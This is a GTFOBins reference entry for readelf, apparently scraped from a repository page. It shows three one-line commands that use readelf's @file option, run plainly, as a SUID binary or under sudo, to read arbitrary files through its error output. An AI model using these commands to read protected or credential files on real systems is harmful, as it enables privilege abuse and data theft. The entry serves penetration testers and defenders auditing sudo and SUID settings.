GTFOBins.github.io/_gtfobins/readelf.md

474 B

description functions
Each line is corrupted by a prefix string and wrapped inside single quotes. Also consider that lines are actually parsed as `readelf` options thus some file contents may lead to unexpected results.
file-read suid sudo
code
LFILE=file_to_read readelf -a @$LFILE
code
LFILE=file_to_read ./readelf -a @$LFILE
code
LFILE=file_to_read sudo readelf -a @$LFILE